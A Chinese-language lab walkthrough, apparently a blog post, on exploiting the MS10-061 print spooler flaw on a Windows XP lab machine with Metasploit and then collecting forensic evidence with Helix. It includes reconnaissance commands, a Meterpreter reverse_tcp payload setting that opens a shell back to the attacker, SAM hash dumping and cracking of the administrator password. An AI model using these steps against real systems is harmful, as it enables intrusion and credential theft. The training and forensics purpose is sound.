天天看点

Metasploit:MS10-061:入侵、提权和取证

作者:网络安全菜鸟

# 1、什么是Metasploit

Metasploit Framework是一个开源渗透工具,Metasploit渗透测试框架拥有世界上最大的公共测试漏洞数据库。简单来说,Metasploit可以用来检测安全漏洞,另一方面它也可以用来进行入侵。

# 2、什么是Helix

安全事件响应和取证工具

# 3、什么是打印后台程序服务模拟漏洞 (CVE-2010-2729)

利用MSF中的攻击模块:ms10_061_spoolss

Windows打印后台程序没有充分的限制访问该服务的用户权限,攻击者可以通过提交特制的打印请求在Windows系统目录(%SystemRoot%\system32)中创建文件。

攻击者可指定任何文件名,包括目录遍历,通过发送 WritePrinter 请求,攻击者可以完全控制创建文件的内容。

将文件写入到Windows系统目录(%SystemRoot%\system32)后,通过WMI来部署恶意程序,因为系统会自动运行%SystemRoot%\System32\Wbem\MOF文件夹的mof文件、执行命令。

该漏洞首次被发现并被应用于著名的Stuxnet蠕虫(俗称“震网”)

# 4、实验环境

攻击机:Kali linux 目标机:Windows xp sp2

# 5、实验步骤

# 5.1 使用Nmap扫描目标机器是否存在 NetBios 和 RPC服务

# 5.2 NetBios共享检测

# 5.3 使用MSF的 ms10_061_spoolss 模块攻击目标机

# 5.4 收集基本取证文件

# 5.5 使用Helix远程内存取证

# 5.6 下载基本取证文件

# 6、下载 Helix ,略

# 7、设置目标机环境

# 1、获取目标机ip

Metasploit:MS10-061:入侵、提权和取证

# 2、创建共享打印(默认是没有共享打印的)

1)打开控制面板,双击“打印和传真”

Metasploit:MS10-061:入侵、提权和取证

2)添加打印机,右键选择 添加打印机

Metasploit:MS10-061:入侵、提权和取证

本地打印机,不勾选“自动检测和安装驱动”

Metasploit:MS10-061:入侵、提权和取证

选择 使用 LPT1 端口

Metasploit:MS10-061:入侵、提权和取证

选一个打印机厂商和型号,我们随便选一个

Metasploit:MS10-061:入侵、提权和取证

给打印机取个名字

Metasploit:MS10-061:入侵、提权和取证

选择共享这个打印机

Metasploit:MS10-061:入侵、提权和取证
Metasploit:MS10-061:入侵、提权和取证

不打印测试页

Metasploit:MS10-061:入侵、提权和取证

完成设置

Metasploit:MS10-061:入侵、提权和取证

# 8、在Kali上检测打印共享

1)nmap 扫描

nmap -sS -sU -O -p137-139,445 192.168.1.149
           
Metasploit:MS10-061:入侵、提权和取证

2)查找 NetBIOS 名称

nmblookup -A 192.168.1.149
           
Metasploit:MS10-061:入侵、提权和取证

NetBIOS工作站名字:WXPSP2

NetBIOS组名:MSHOME

Master Browser:_MSBROWSE_

第二列解释:NetBIOS后缀

00:Workstation Service(workstation name) 类型:Group

03:Windows Messenger service

06:Remote Access Server

20:File Service(also called Host Record)

21:Remote Access Service client

1B:Domain Master Browser-Primary Domain Controller for a domain

1D:Master Browser

第四列:节点类型

B-node:0x01 Broadcast

P-node:0x02 Peer(WINS only)

M-node:0x04 Mixed(broadcast,then WINS)

H-node:0x08 Hybrid(WINS,then broadcast)

# 9、访问SMB资源

smbclient -L \\\WXPSP2 -I 192.168.1.149 -N
           
Metasploit:MS10-061:入侵、提权和取证

看到了打印共享

# 10、使用MSF进行攻击

1)载入模块,查看需要配置的参数

Metasploit:MS10-061:入侵、提权和取证

2)配置参数

Metasploit:MS10-061:入侵、提权和取证

3)设置payload

set PAYLOAD windows/meterpreter/reverse_tcp
           

4)设置payload参数

Metasploit:MS10-061:入侵、提权和取证

5)攻击

Metasploit:MS10-061:入侵、提权和取证

攻击完成后,建立了远程会话

恶意程序被写入到目标机的%SystemRoot%\system32\g9bMJIYNoBtyOS.exe,此程序运行后反弹了一个shell给Kali,从而建立了一个Meterpreter会话。请记录这个程序的名字,后续会用到

而恶意程序是通过%SystemRoot%\system32\wbem\mof\kT044wvLBYxwGk.mof控制运行的

6)接下来我们可以执行一系列操作

6.1)getuid,getpid

Metasploit:MS10-061:入侵、提权和取证

可以看到我们获取了系统的system权限,getpid得到的是当前Meterpreter会话的进程ID,记住这个PID

6.2)执行shell,可以直接进入目标机的命令行界面

Metasploit:MS10-061:入侵、提权和取证

6.3)查找PID 392关联进程

Metasploit:MS10-061:入侵、提权和取证

可以看到正是前面我们写入的那个恶意程序

6.4)查找PID 392 关联的网络链接

Metasploit:MS10-061:入侵、提权和取证

# 11、进行基本的信息收集取证

11.1)进程信息收集

tasklist > forensics_tasklist.txt
           
Metasploit:MS10-061:入侵、提权和取证

11.2)网络信息收集

netstat -ano > forensics_netstat.txt
           
Metasploit:MS10-061:入侵、提权和取证

11.3)目录文件信息收集

dir > dir_forensics.txt
           
Metasploit:MS10-061:入侵、提权和取证

11.4)退出shell

Metasploit:MS10-061:入侵、提权和取证

# 12 、获取SAM数据库信息

利用hashdump获取SAM数据库

SAM是Windows XP,Windows Vista和Windows 7中存储用户密码的数据库文件

Metasploit:MS10-061:入侵、提权和取证

将获取到的信息复制到一个文本文件

Metasploit:MS10-061:入侵、提权和取证

# 13 、建立远程取证收集环境

Metasploit:MS10-061:入侵、提权和取证

# 14、收集受害者内存信息

1)加载 Helix2008R1 光盘

Metasploit:MS10-061:入侵、提权和取证

2)收集信息

Metasploit:MS10-061:入侵、提权和取证

选择 Live Acquisition,填写相关信息。

Metasploit:MS10-061:入侵、提权和取证
Metasploit:MS10-061:入侵、提权和取证

等待内存信息收集完成

Metasploit:MS10-061:入侵、提权和取证

取证完成,会自动关闭此cmd窗口

3)查看收集的文件

Metasploit:MS10-061:入侵、提权和取证

# 15、下载其他取证文件

下载我们之前收集的进程信息,网络信息和恶意程序

download C:\\WINDOWS\\system32\\forensics_tasklist.txt /forensics/ms10_061/
download C:\\WINDOWS\\system32\\forensics_netstat.txt /forensics/ms10_061/
download C:\\WINDOWS\\system32\\dir_forensics.txt /forensics/ms10_061/
download C:\\WINDOWS\\system32\\g9bMJIYNoBtyOS.exe /forensics/ms10_061/
           
Metasploit:MS10-061:入侵、提权和取证
Metasploit:MS10-061:入侵、提权和取证

# 16、使用John 破解密码

Metasploit:MS10-061:入侵、提权和取证
Metasploit:MS10-061:入侵、提权和取证

成功破解了管理员密码

信息收集完成,后续我们将使用Volatility从抓取的内存进行分析